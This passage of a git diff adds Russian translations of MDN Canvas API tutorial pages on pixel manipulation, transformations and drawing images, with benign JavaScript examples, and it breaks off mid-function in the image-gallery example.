В этом примере мы перебираем все пиксели для изменения их значений, а затем помещаем модифицированный массив пикселей обратно в canvas с помощью putImageData(). Функция инвертирования просто вычитает каждый цвет из максимального значения 255. Функция оттенков серого просто использует среднее значение красного, зеленого и синего. Вы также можете использовать средневзвешенное значение, заданное формулой x = 0.299r + 0.587g + 0.114b, например. Для дополнительной информации см. Grayscale в Википедии.

+ + + +
var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+img.onload = function() {
+  draw(this);
+};
+
+function draw(img) {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+  var imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
+  var data = imageData.data;
+
+  var invert = function() {
+    for (var i = 0; i < data.length; i += 4) {
+      data[i]     = 255 - data[i];     // red
+      data[i + 1] = 255 - data[i + 1]; // green
+      data[i + 2] = 255 - data[i + 2]; // blue
+    }
+    ctx.putImageData(imageData, 0, 0);
+  };
+
+  var grayscale = function() {
+    for (var i = 0; i < data.length; i += 4) {
+      var avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
+      data[i]     = avg; // red
+      data[i + 1] = avg; // green
+      data[i + 2] = avg; // blue
+    }
+    ctx.putImageData(imageData, 0, 0);
+  };
+
+  var invertbtn = document.getElementById('invertbtn');
+  invertbtn.addEventListener('click', invert);
+  var grayscalebtn = document.getElementById('grayscalebtn');
+  grayscalebtn.addEventListener('click', grayscale);
+}
+
+ +

{{ EmbedLiveSample('Grayscaling_and_inverting_colors', 330, 270) }}

+ +

Масштабирование и сглаживание

+ +

С помощью метода                                                             {{domxref ("CanvasRenderingContext2D.drawImage", "drawImage ()")}}, второго холста и свойства {{domxref ("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} мы способны увеличить изображение и посмотреть его более детально.

+ +

Мы получаем положение мыши и обрезаем изображение на 5 пикселей левее и выше и на 5 пикселей правее и ниже положения мыши. Затем мы копируем его на другой холст и изменяем размер изображения до размера, который мы хотим. При масштабировании мы изменяем холст с исходного размера 10×10 пикселей до 200×200.

+ +
zoomctx.drawImage(canvas,
+                  Math.abs(x - 5), Math.abs(y - 5),
+                  10, 10, 0, 0, 200, 200);
+ +

Поскольку по умолчанию включено сглаживание, мы можем захотеть отключить сглаживание, чтобы увидеть четкие пиксели. Вы можете переключить флажок, чтобы увидеть эффект свойства imageSmoothingEnabled (которому нужны префиксы для разных браузеров).

+ + + + + +
var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+img.onload = function() {
+  draw(this);
+};
+
+function draw(img) {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+  var zoomctx = document.getElementById('zoom').getContext('2d');
+
+  var smoothbtn = document.getElementById('smoothbtn');
+  var toggleSmoothing = function(event) {
+    zoomctx.imageSmoothingEnabled = this.checked;
+    zoomctx.mozImageSmoothingEnabled = this.checked;
+    zoomctx.webkitImageSmoothingEnabled = this.checked;
+    zoomctx.msImageSmoothingEnabled = this.checked;
+  };
+  smoothbtn.addEventListener('change', toggleSmoothing);
+
+  var zoom = function(event) {
+    var x = event.layerX;
+    var y = event.layerY;
+    zoomctx.drawImage(canvas,
+                      Math.abs(x - 5),
+                      Math.abs(y - 5),
+                      10, 10,
+                      0, 0,
+                      200, 200);
+  };
+
+  canvas.addEventListener('mousemove', zoom);
+}
+ +

{{ EmbedLiveSample('Zoom_example', 620, 490) }}

+ +

Сохранение изображений

+ +

{{Domxref ("HTMLCanvasElement")}} предоставляет метод toDataURL(), который полезен при сохранении изображений. Он возвращает data URI, содержащий представление изображения в формате, заданном параметром type (по умолчанию используется в PNG ). Возвращаемое изображение имеет разрешение 96 точек на дюйм.

+ +
+
Примечание: 
+
Имейте в виду, что если холст содержит пиксели, полученные из другого {{Glossary ("origin")}} без использования CORS, холст будет испорчен, и его содержимое больше не будет считываться и сохраняться. Смотрите {{SectionOnPage ("/en-US/docs/Web/HTML/CORS_enabled_image", "Безопасность и испорченные холсты")}}
+
+
{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/png')")}}
+
Настройки по умолчанию. Создает изображение в формате PNG.
+
{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/jpeg', quality)")}}
+
Создает изображение в формате JPG. Дополнительно вы можете задать параметр "качество" (quality) в диапазоне от 0 до 1, причем единица задает лучшее качество и 0 -  почти не распознаваемый, но небольшой по размеру файл.
+
+ +

После того как вы создали URI данные из своего холста, вы можете использовать его как источник любого {{HTMLElement ("image")}} или поместить его в гиперссылку с download attribute, чтобы сохранить его на диске, например.

+ +

Вы также можете создать {{domxref ("Blob")}} из холста.

+ +
+
{{domxref("HTMLCanvasElement.toBlob", "canvas.toBlob(callback, type, encoderOptions)")}}
+
Создает объект Blob, представляющий изображение, содержащееся в холсте.
+
+ +

Смотрите также

+ + + +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}

diff --git a/files/ru/web/api/canvas_api/tutorial/transformations/index.html b/files/ru/web/api/canvas_api/tutorial/transformations/index.html new file mode 100644 index 0000000000..0f871d6909 --- /dev/null +++ b/files/ru/web/api/canvas_api/tutorial/transformations/index.html @@ -0,0 +1,275 @@ +--- +title: Transformations +slug: Web/API/Canvas_API/Tutorial/Transformations +translation_of: Web/API/Canvas_API/Tutorial/Transformations +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Using_images", "Web/API/Canvas_API/Tutorial/Compositing")}}
+ +
Ранее в этом уроке мы узнали о сетке холста и координатном пространстве . До сих пор мы использовали только сетку по умолчанию и изменили размер всего холста для наших нужд. При преобразованиях существуют более мощные способы изменения исходных координат в различные положение, поворот сетки и даже масштабирование.
+ +

Сохранение и восстановление состояния

+ +

Прежде чем перейти к методам преобразования, давайте рассмотрим два других метода, которые необходимы, когда вы начинаете создавать все более сложные рисунки.

+ +
+
{{domxref("CanvasRenderingContext2D.save", "save()")}}
+
Сохраняет все состояние холста.
+
{{domxref("CanvasRenderingContext2D.restore", "restore()")}}
+
Восстанавливает последнее сохраненное состояние холста.
+
+ +

Состояние холста сохраняется в стеке. Каждый раз, когда вызывается метод save(), текущее состояние отрисовки записывается в стек. Состояние отрисовки содержит:

+ + + +

Вы можете вызывать метод save() столько раз, сколько захотите. В то же время, при вызове метода restore() последнее сохранённое состояние будет считано из стека, и все сохранённые настройки будут восстановлены.

+ +

Пример сохранения и восстановления состояния холста

+ +

Здесь показано, как функционирует сохранение в стек состояния отрисовки на примере последовательной отрисовки набора прямоугольников.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillRect(0, 0, 150, 150);   // рисуем прямоугольник с настройками по умолчанию
+  ctx.save();                     // сохраняем состояние
+
+  ctx.fillStyle = '#09F';         // вносим изменения в настройки
+  ctx.fillRect(15, 15, 120, 120); // рисуем прямоугольник с новыми настройками
+  ctx.save();                     // сохраняем состояние
+
+  ctx.fillStyle = '#FFF';         // вносим изменения в настройки
+  ctx.globalAlpha = 0.5;
+  ctx.fillRect(30, 30, 90, 90);   // рисуем прямоугольник с новыми настройками
+
+  ctx.restore();                  // возвращаемся к предыдущим настройкам
+  ctx.fillRect(45, 45, 60, 60);   // рисуем прямоугольник с восстановленными настройками
+
+  ctx.restore();                  // возвращаемся к начальным настройкам
+  ctx.fillRect(60, 60, 30, 30);   // рисуем прямоугольник с изначальными настройками
+}
+ + + +

Сначала рисуется большой прямоугольник с настройками по умолчанию. Затем мы сохраняем состояние холста, после чего изменяем цвет заливки. Затем рисуем второй синий прямоугольник меньшего размера и опять сохраняем состояние. Снова изменяем какие-то настройки и рисуем третий полупрозрачный белый прямоугольник.

+ +

До сих пор наши действия ничем не отличались от тех, что мы делали в предыдущем разделе. Однако, как только мы сделали первый вызов restore(), последнее сохранённое состояние отрисовки было восстановлено из стека, вернув все сохранённые настройки. Если бы мы не сохранили предыдущее состояние, используя save(), нам бы пришлось менять цвет заливки и настройки прозрачности вручную для возврата к предыдущему состоянию. Для каких-нибудь двух простых свойств это, может быть, сделать не так сложно. Но если таких своиств гораздо больше, это чревато очень быстрым разрастанием кода.

+ +

Когда второй вызов restore() сделан, изначальное состояние (то самое, которое было сделано перед первым вызовом save) восстанавливается и последний нарисованный прямоугольник внось становится чёрным.

+ +

{{EmbedLiveSample("A_save_and_restore_canvas_state_example", "180", "180", "https://mdn.mozillademos.org/files/249/Canvas_savestate.png")}}

+ +

Трансляция (смещение)

+ +

Первый метод для трасформирования холста translate(). Он используется для перемещения холста в любую точку нашей сетки.

+ +
+
{{domxref("CanvasRenderingContext2D.translate", "translate(x, y)")}}
+
Перемещение холста на сетке. x и y - смещение по горизонтали и вертикали соответственно.
+
+ +

Неплохая идея - сохранять canvas state перед использованием любых трансформаций. Обычно удобнее использовать метод restore, чем выполнять обратные преобразования, чтобы вернуться к начальному состоянию. Кроме того, если вы выполняете преобразования внутри цикла не используя save и restore, вы рискуете потерять часть рисунка, потому что он был нарисован за пределами края холста.

+ +

Пример использования translate

+ +

Этот пример демонстрирует некоторые преимущества при использовании смещения холста. Без использования метода translate() все прямоугольники будут отрисованы в одинаковой позиции (0,0). Метод translate() дает возможность размещения прямоугольника в любой позиции без изменения параметров функции fillRect(). Это может дать некоторое упрощение для понимания и использования.

+ +

Внутри функции draw() мы вызываем fillRect() девять раз, используя два цикла for. Каждый раз мы сохраняем состояние холста, смещаем его, рисуем прямоугольник, а затем восстанавливаем исходное состояние. Заметьте, что fillRect() всегда использует одни и те же параметры, а изменение позиции фигуры осуществляется с помощью translate().

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i < 3; i++) {
+    for (var j = 0; j < 3; j++) {
+      ctx.save();
+      ctx.fillStyle = 'rgb(' + (51 * i) + ', ' + (255 - 51 * i) + ', 255)';
+      ctx.translate(10 + j * 50, 10 + i * 50);
+      ctx.fillRect(0, 0, 25, 25);
+      ctx.restore();
+    }
+  }
+}
+
+ + + +

{{EmbedLiveSample("A_translate_example", "160", "160", "https://mdn.mozillademos.org/files/9857/translate.png")}}

+ +

Поворот

+ +

Второй метод трансформации rotate(). Он используется для поворота нашего холста.

+ +
+
{{domxref("CanvasRenderingContext2D.rotate", "rotate(angle)")}}
+
Поворачивает наш холст по часовой стрелке вокруг начальной точки на угол anglе в радианах.
+
+ +

Центр поворота - всегда начало координат. Для изменения координат центра мы должны сместить холст, используя метод translate().

+ +

Пример использованияrotate

+ +

В этом примере мы сначала используем rotate() для поворота прямоугольника относительно начала координат, а затем, используя translate() совместно с rotate() поворачиваем прямоугольник относительно его центра.

+ +
+

Памятка: Углы измеряются в радианах, а не в градусах. Для преобразования единиц используйте следующую формулу: radians = (Math.PI/180)*degrees.

+
+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // left rectangles, rotate from canvas origin
+  ctx.save();
+  // blue rect
+  ctx.fillStyle = '#0095DD';
+  ctx.fillRect(30, 30, 100, 100);
+  ctx.rotate((Math.PI / 180) * 25);
+  // grey rect
+  ctx.fillStyle = '#4D4E53';
+  ctx.fillRect(30, 30, 100, 100);
+  ctx.restore();
+
+  // right rectangles, rotate from rectangle center
+  // draw blue rect
+  ctx.fillStyle = '#0095DD';
+  ctx.fillRect(150, 30, 100, 100);
+
+  ctx.translate(200, 80); // translate to rectangle center
+                          // x = x + 0.5 * width
+                          // y = y + 0.5 * height
+  ctx.rotate((Math.PI / 180) * 25); // rotate
+  ctx.translate(-200, -80); // translate back
+
+  // draw grey rect
+  ctx.fillStyle = '#4D4E53';
+  ctx.fillRect(150, 30, 100, 100);
+}
+
+ +

Для поворота прямоугольника относительно его центра мы сначала смещаем начало координат, выполняем поворот, а затем выполняем обратное смещение к точке 0,0, и наконец рисуем прямоугольник.

+ + + +

{{EmbedLiveSample("A_rotate_example", "310", "210", "https://mdn.mozillademos.org/files/9859/rotate.png")}}

+ +

Масштабирование

+ +

Следующий метод трансформации холста - scaling. Он используется для растяжения, сжатия и отражения координатной сетки. Он может использоваться для отрисовки растянутых или сжатых по осям фигур и изображений.

+ +
+
{{domxref("CanvasRenderingContext2D.scale", "scale(x, y)")}}
+
Масштабирует координатную сетку холста по горизонтали и вертикали. Оба параметра - вещественные числа. Значения меньше 1.0 уменьшают, а больше 1.0 увеличивают масштаб сетки. Значение 1.0 не изменяет его.
+
+ +

Используя отрицательные значения вы можете зеркально отразить направление осей. Например, используя translate(0,canvas.height); scale(1,-1); вы получите хорошо известную декартову систему координат с началом в верхнем левом углу.

+ +

По умолчанию единица координатной сетки точно соответствует одному пикселю. Если же вы, например, зададите масштабный коэффициент 0.5, то единица сетки будет равна половине пикселя, и нарисованная фигура будет иметь размер в два раза меньше оригинала. Наоборот, если задать масштабный коэффициент 2.0, единица сетки будет соответствовать двум пикселям, а нарисованная фигура станет в два раза больше.

+ +

Пример использования scale

+ +

В этом примере мы нарисуем прямоугольники, используя разные масштабные коэффициенты.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // рисуем масштабированный прямоугольник.
+  ctx.save();
+  ctx.scale(10, 3);
+  ctx.fillRect(1, 10, 10, 10);
+  ctx.restore();
+
+  // размещаем текст, отраженный по горизонтали
+  ctx.scale(-1, 1);
+  ctx.font = '48px serif';
+  ctx.fillText('MDN', -135, 120);
+}
+
+
+ + + +

{{EmbedLiveSample("A_scale_example", "160", "160", "https://mdn.mozillademos.org/files/9861/scale.png")}}

+ +

Матричное преобразование

+ +

В заключении рассмотрим метод, который вызывает изменения в соответствии с матрицей преобразования.

+ +
+
{{domxref("CanvasRenderingContext2D.transform", "transform(a, b, c, d, e, f)")}}
+
Накладывает матрицу преобразования, заданную параметрами, на текущую матрицу. Матрица преобразования задается следующим образом: [acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right]
+
+ +
+
If any of the arguments are Infinity the transformation matrix must be marked as infinite instead of the method throwing an exception.
+
+ +

Параметры функции:

+ +
+
a (m11)
+
Horizontal scaling.
+
b (m12)
+
Horizontal skewing.
+
c (m21)
+
Vertical skewing.
+
d (m22)
+
Vertical scaling.
+
e (dx)
+
Horizontal moving.
+
f (dy)
+
Vertical moving.
+
{{domxref("CanvasRenderingContext2D.setTransform", "setTransform(a, b, c, d, e, f)")}}
+
Сбрасывает текущую матрицу преобразования, а затем вызываетtransform() в соответствии с аргументами.
+
{{domxref("CanvasRenderingContext2D.resetTransform", "resetTransform()")}}
+
Сбрасывает текущую матрицу преобразования к значению по умолчанию. Аналогично вызову ctx.setTransform(1, 0, 0, 1, 0, 0);
+
+ +

Пример использования transform и setTransform

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  var sin = Math.sin(Math.PI / 6);
+  var cos = Math.cos(Math.PI / 6);
+  ctx.translate(100, 100);
+  var c = 0;
+  for (var i = 0; i <= 12; i++) {
+    c = Math.floor(255 / 12 * i);
+    ctx.fillStyle = 'rgb(' + c + ', ' + c + ', ' + c + ')';
+    ctx.fillRect(0, 0, 100, 10);
+    ctx.transform(cos, sin, -sin, cos, 0, 0);
+  }
+
+  ctx.setTransform(-1, 0, 0, 1, 100, 100);
+  ctx.fillStyle = 'rgba(255, 128, 255, 0.5)';
+  ctx.fillRect(0, 50, 100, 100);
+}
+
+ + + +

{{EmbedLiveSample("Example_for_transform_and_setTransform", "230", "280", "https://mdn.mozillademos.org/files/255/Canvas_transform.png")}}

+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Using_images", "Web/API/Canvas_API/Tutorial/Compositing")}}

diff --git "a/files/ru/web/api/canvas_api/tutorial/\320\270\321\201\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\320\275\320\270\320\265_\320\270\320\267\320\276\320\261\321\200\320\260\320\266\320\265\320\275\320\270\320\271/index.html" "b/files/ru/web/api/canvas_api/tutorial/\320\270\321\201\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\320\275\320\270\320\265_\320\270\320\267\320\276\320\261\321\200\320\260\320\266\320\265\320\275\320\270\320\271/index.html" new file mode 100644 index 0000000000..3ce4b8384e --- /dev/null +++ "b/files/ru/web/api/canvas_api/tutorial/\320\270\321\201\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\320\275\320\270\320\265_\320\270\320\267\320\276\320\261\321\200\320\260\320\266\320\265\320\275\320\270\320\271/index.html" @@ -0,0 +1,333 @@ +--- +title: Использование изображений +slug: Web/API/Canvas_API/Tutorial/Использование_изображений +tags: + - Графика +translation_of: Web/API/Canvas_API/Tutorial/Using_images +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Трансформации")}}
+ +
+

До сих пор мы создавали наши собственные фигуры и применяли стили к ним. Одна из самых впечатляющих функций {{HTMLElement("canvas")}} это возможность использования изображений. Они могут быть использованы для динамического композитинга фото или как фоны графиков, для спрайтов в играх, и так далее. Внешние изображения могут быть использованы в любых поддерживаемых браузером форматах, таких как PNG, GIF, или JPEG. Вы можете даже использовать изображение, произведенное другими canvas элементами на той же странице как источник!

+
+ +

Импортирование изображений в canvas в основном состоит из 2 этапов:

+ +
    +
  1. Дав ссылку на {{domxref("HTMLImageElement")}} объект или для другого canvas элемента как источник. Также можно использовать изображение дав ссылку на URL.
    2. +
  2. Для рисования изображения на canvas используется функция drawImage().
    3. +
+ +

Давайте посмотрим как это сделать.

+ +

Использование изображений для рисования

+ +

Canvas API может использовать все перечисленные далее типы данных как источник изображения:

+ +
+
{{domxref("HTMLImageElement")}}
+
Эти изображения созданы, используя конструктор Image(), также как все{{HTMLElement("img")}} элементы.
+
{{domxref("HTMLVideoElement")}}
+
Используя HTML {{HTMLElement("video")}} элемент как источник изображения захватывает текущий кадр из видео и использует его как изображение.
+
{{domxref("HTMLCanvasElement")}}
+
Вы можете использовать другой {{HTMLElement("canvas")}} элемент как источник изображения.
+
+ +

Эти источники совместно именуемые по типу {{domxref("CanvasImageSource")}}.

+ +

Есть несколько способов, чтобы получить изображения для использования на холсте.

+ +

Использование изображений из той же страницы

+ +

Мы можем получить ссылку на изображение, на той же странице, на canvas с используя  один из способов: 

+ + + +

Использование изображений из других доменов

+ +

Использование {{htmlattrxref("crossorigin", "img")}} атрибута {{HTMLElement("img")}} элемент (отображается  {{domxref("HTMLImageElement.crossOrigin")}} свойства), вы можете запросить разрешение на загрузку другого домена для использования в drawImage(). Если хостинг домен разрешает доступ к междоменному изображению, то изображение может быть использовано в вашем canvas без  without tainting it;иначе он может испортить ваш canvas.

+ +

Использование других canvas элементов

+ +

Как и с обычными изображениями, мы можем получить доступ к другим canvas элементам используя либо {{domxref("document.getElementsByTagName()")}} либо {{domxref("document.getElementById()")}} метод. Проверьте, что в canvas источнике уже что-то нарисовано, прежде чем использовать его в целевом изображении canvas.

+ +

Одним из удобных способов было бы использование второго элемента canvas  в качестве миниатюры другого большего изображения canvas.

+ +

Создание изображений с нуля

+ +

Другой способ это создать новые {{domxref("HTMLImageElement")}} объекты в нашем скрипте.  Чтобы это сделать, вы можете использовать удобный Image() конструктор:

+ +
var img = new Image();   // Создает новый элемент изображения
+img.src = 'myImage.png'; // Устанавливает путь
+
+ +

Когда этот скрипт выполнится, изображение начнет загружаться.

+ +

Если вы попытаетесь вызвать функцию drawImage() перед тем как изображение загрузится, то скрипт ничего не сделает (или, в старых браузерах, может даже выдать исключение). Поэтому вам необходимо использовать событие load, чтобы вы не пытались сделать это прежде, чем изображение загрузится:

+ +
var img = new Image();   // Создает новое изображение
+img.addEventListener("load", function() {
+  // здесь выполняет drawImage функцию
+}, false);
+img.src = 'myImage.png'; // Устанавливает источник файла
+
+ +

Если вы используете только одно стороннее изображение, то этот метод может быть хорошим примером, но если нужно следить за несколькими изображениями, то необходимо придумать что-то более умное. Хотя поиски тактики проверки загрузки изображений выходят за пределы этого обучающего курса,  вы должны об этом помнить.

+ +

Вложение изображения с помощью данных: URL

+ +

Другой возможный способ включить изображение это через data: url. Data URLs позволяет вам полностью определить изображение как Base64 кодированную строку символов прямо в ваш код.

+ +
var img = new Image();   // Создает новый элемент img
+img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAsAAAIUhA+hkcuO4lmNVindo7qyrIXiGBYAOw==';
+
+ +

Одним из преимуществ data URLs  это то что полученное изображение доступно сразу без других запросов туда-обратно на сервер. Другое потенциальное преимущество в том, что также можно инкапсулировать всё в одном файле все ваши CSS, JavaScript, HTML, и изображения, что делает его более портативным в других местах.

+ +

Некоторые недостатки этого метода в том что ваше изображение не кешировано, и для изображений с большим размером кодированние url может стать очень долгим процессом.

+ +

Использование кадров из видео

+ +

Вы также можете использовать кадры из видео представленных {{HTMLElement("video")}} элементом (даже если видео не видно). Например, если у вас есть  {{HTMLElement("video")}} элемент с  ID "myvideo", вы можете сделать:

+ +
function getMyVideo() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    return document.getElementById('myvideo');
+  }
+}
+
+ +

Эта функция вернет {{domxref("HTMLVideoElement")}} объект для этого видео, который, как мы упоминали ранее, является одним из объектов, который можно использовать как CanvasImageSource.

+ +

Рисование изображений

+ +

Как только мы получили ссылку на источник объекта изображения, мы можем использовать метод drawImage() для включения его в  canvas. Как мы увидим далее, метод drawImage() перегружен и у него есть несколько вариантов. В базовом варианте он выглядит как:

+ +
+
{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y)")}}
+
Рисует  изображение, указанное в CanvasImageSource в координатах  (x, y).
+
+ +
+

SVG изображения должны указывать ширину и высоту корневого  <svg> элемента.

+
+ +

Пример: Простой линейный график

+ +

В следующем примере, мы будем использовать внешнее изображение в качестве фона для небольшого линейного графика. Использование фонов может сделать ваш скрипт значительно меньше, потому что мы можем избежать необходимости писать код для создания фона. В этом примере мы используем только один образ, поэтому я использую обработчик событий изображения объекта загрузки для выполнения операторов рисования. drawImage() метод определяющий место фона с координатами (0, 0), которые привязаны к верхнему левому углу canvas.

+ + + +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var img = new Image();
+  img.onload = function(){
+    ctx.drawImage(img,0,0);
+    ctx.beginPath();
+    ctx.moveTo(30,96);
+    ctx.lineTo(70,66);
+    ctx.lineTo(103,76);
+    ctx.lineTo(170,15);
+    ctx.stroke();
+  };
+  img.src = 'https://mdn.mozillademos.org/files/5395/backdrop.png';
+}
+ +

Получившийся график выглядит так:

+ +

{{EmbedLiveSample("Example_A_simple_line_graph", 220, 160, "https://mdn.mozillademos.org/files/206/Canvas_backdrop.png")}}

+ +

Изменение размеров

+ +

Второй вариант метода drawImage() добавляет два новых параметра и позволяет разместить изображение в  canvas с измененными размерами.

+ +
+
{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y, width, height)")}}
+
Это добавляет параметр ширины и высоты, которые указывают до какого размера нужно изменить изображение при рисовании его в  canvas.
+
+ +

Пример: Тайлинг изображения

+ +

В этом примере, мы будем использовать изображение в качестве обоев и повторим его в canvas несколько раз. Это может быть сделано просто через цикл, располагая измененные изображения на разных позициях. В коде внизу, первый цикл for проходит по рядам. Второй цикл for проходит по колонкам. Изображение уменьшено на треть от реального размера, которое было  50x38 пикселей.

+ +
+

Обратите внимание: Изображения могут стать размытыми, при большом увеличении или зернистыми при значительном уменьшении. Возможно, лучше всего не изменять размеры изображения, если на них есть текст, который должен остаться читаемым. 

+
+ + + +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var img = new Image();
+  img.onload = function(){
+    for (var i=0;i<4;i++){
+      for (var j=0;j<3;j++){
+        ctx.drawImage(img,j*50,i*38,50,38);
+      }
+    }
+  };
+  img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+}
+ +

Получившийся рисунок canvas выглядит так:

+ +

{{EmbedLiveSample("Example_Tiling_an_image", 160, 160, "https://mdn.mozillademos.org/files/251/Canvas_scale_image.png")}}

+ +

Нарезка

+ +

У третьего и последнего варианта метода drawImage() в дополнении к источнику изображения есть еще восемь параметров . Он позволяет нам вырезать кусок из изображения, затем изменить его размер и нарисовать его в canvas.

+ +
+
{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight)")}}
+
В данном изображении, эта функция берет фрагмент из изображения, в виде прямоугольника, левый верхний угол которого -  (sx, sy), ширина и высота -  sWidth и sHeight и рисует  в  canvas, располагая его в точке  (dx, dy) и изменяя его размер на указанные величины в  dWidth и dHeight.
+
+ +

Чтобы понять что  делает нарезка, можно посмотреть на изображение справа. Первые четыре параметра определяют местоположение и размер фрагмента исходного изображения.  Последние четыре параметра определяют прямоугольник, в который будет вписано изображение на целевом рисунке  canvas.

+ +

Нарезка может быть полезным инструментом, когда вы захотите сделать композицию.  Вы могли бы собрать все элементы в одном файле изображения и использовать этот метод для создания композиции. Например, если вы захотите сделать график, вы могли бы сделать PNG изображение, содержащее все необходимые тексты в одном файле и в зависимости от ваших данных, могли бы достаточно просто изменять график. Другим преимуществом является то, что нет необходимости загружать каждое изображение по отдельности, получив возможность увеличить скорость загрузки.

+ +

Пример: Обрамление изображения

+ +

В этом примере, мы будем использовать того же носорога, что и в предыдущем примере, но мы отрежем его голову и включим ее в рамку. Изображение рамки это 24-х битный PNG, который включает падающую тень. Так как в 24-х битные PNG изображения включается полный 8-ми битный альфа-канал, в отличие от GIF и 8-битных PNG изображений, он может быть помещен в любой фон, без беспокойства о матовом цвете. 

+ +
<html>
+ <body onload="draw();">
+   <canvas id="canvas" width="150" height="150"></canvas>
+   <div style="display:none;">
+     <img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg" width="300" height="227">
+     <img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150">
+   </div>
+ </body>
+</html>
+
+ +
function draw() {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+
+  // Рисуем фрагмент
+  ctx.drawImage(document.getElementById('source'),
+                33, 71, 104, 124, 21, 20, 87, 104);
+
+  // Рисуем рамку
+  ctx.drawImage(document.getElementById('frame'),0,0);
+}
+ +

В этот раз мы применили другой способ загрузки изображения. Вместо загрузки методом создания новых {{domxref("HTMLImageElement")}} объектов, мы включили их как  {{HTMLElement("img")}} тэги прямо в наш HTML файл и из них выбрали изображения. Изображения скрыты с помощью  CSS свойства {{cssxref("display")}}, установленного в "none" для этих изображений.

+ +

{{EmbedLiveSample("Example_Framing_an_image", 160, 160, "https://mdn.mozillademos.org/files/226/Canvas_drawimage2.jpg")}}

+ +

Скрипт, сам по себе, очень простой. Каждому {{HTMLElement("img")}} присвоен атрибут ID, который  делает удобным их выбор с использованием {{domxref("document.getElementById()")}}. Потом мы просто используем функцию  drawImage(), чтобы из первого изображения вырезать фрагмент носорога и вставить его в canvas, затем рисуем рамку сверху, используя второй вызов функции drawImage().

+ +

Пример галереи искусства

+ +

В последнем примере этой главы, мы построим небольшую галлерею искусств. Галерея состоит из таблицы, включающей несколько изображений. Когда страница загрузится,  {{HTMLElement("canvas")}}  элемент вставится в каждое изображение, а вокруг будет нарисована рамка. 

+ +

В этом случае, у каждого изображения фиксированная ширина и высота, такая же, как и у рамки нарисованной вокруг них.  Вы могли бы усовершенствовать этот скрипт так, чтобы он использовал ширину и высоту изображения, чтобы рамка идеально его окружила.

+ +

Код ниже должен говорить сам за себя. Мы проходим циклом через {{domxref("document.images")}} контейнер и соответственно добавляем новые элементы  canvas. Возможно следует упомянуть для тех, кто не слишком хорошо знаком с DOM, что для этого используется {{domxref("Node.insertBefore")}} метод. insertBefore() это метод родительского узла (ячейки таблицы) элемента (изображения) перед которым мы хотим вставить наш новый узел  (элемент canvas).

+ +
<html>
+ <body onload="draw();">
+     <table>
+      <tr>
+        <td><img src="https://mdn.mozillademos.org/files/5399/gallery_1.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5401/gallery_2.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5403/gallery_3.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5405/gallery_4.jpg"></td>
+      </tr>
+      <tr>
+        <td><img src="https://mdn.mozillademos.org/files/5407/gallery_5.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5409/gallery_6.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5411/gallery_7.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5413/gallery_8.jpg"></td>
+      </tr>
+     </table>
+     <img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150">
+ </body>
+</html>
+
+ +

И сюда какую-нибудь CSS для украшения:

+ +
body {
+  background: 0 -100px repeat-x url(https://mdn.mozillademos.org/files/5415/bg_gallery.png) #4F191A;
+  margin: 10px;
+}
+
+img {
+  display: none;
+}
+
+table {
+  margin: 0 auto;
+}
+
+td {
+  padding: 15px;
+}
+
+ +

Связывая все вместе  JavaScript рисует наши изображения в рамках:

+ +
function draw() {
+
+  // Цикл по всем изображениям
+  for (var i=0;i<document.images.length;i++){
+
+    // Не добавляет canvas для изображения рамки
+    if (document.images[i].getAttribute('id')!='frame'){
+
+      // Создает элемент canvas
+      var canvas = document.createElement('canvas');
+      canvas.setAttribute('width',132);
+      canvas.setAttribute('height',150);
+
+      // Вставляет перед изображением
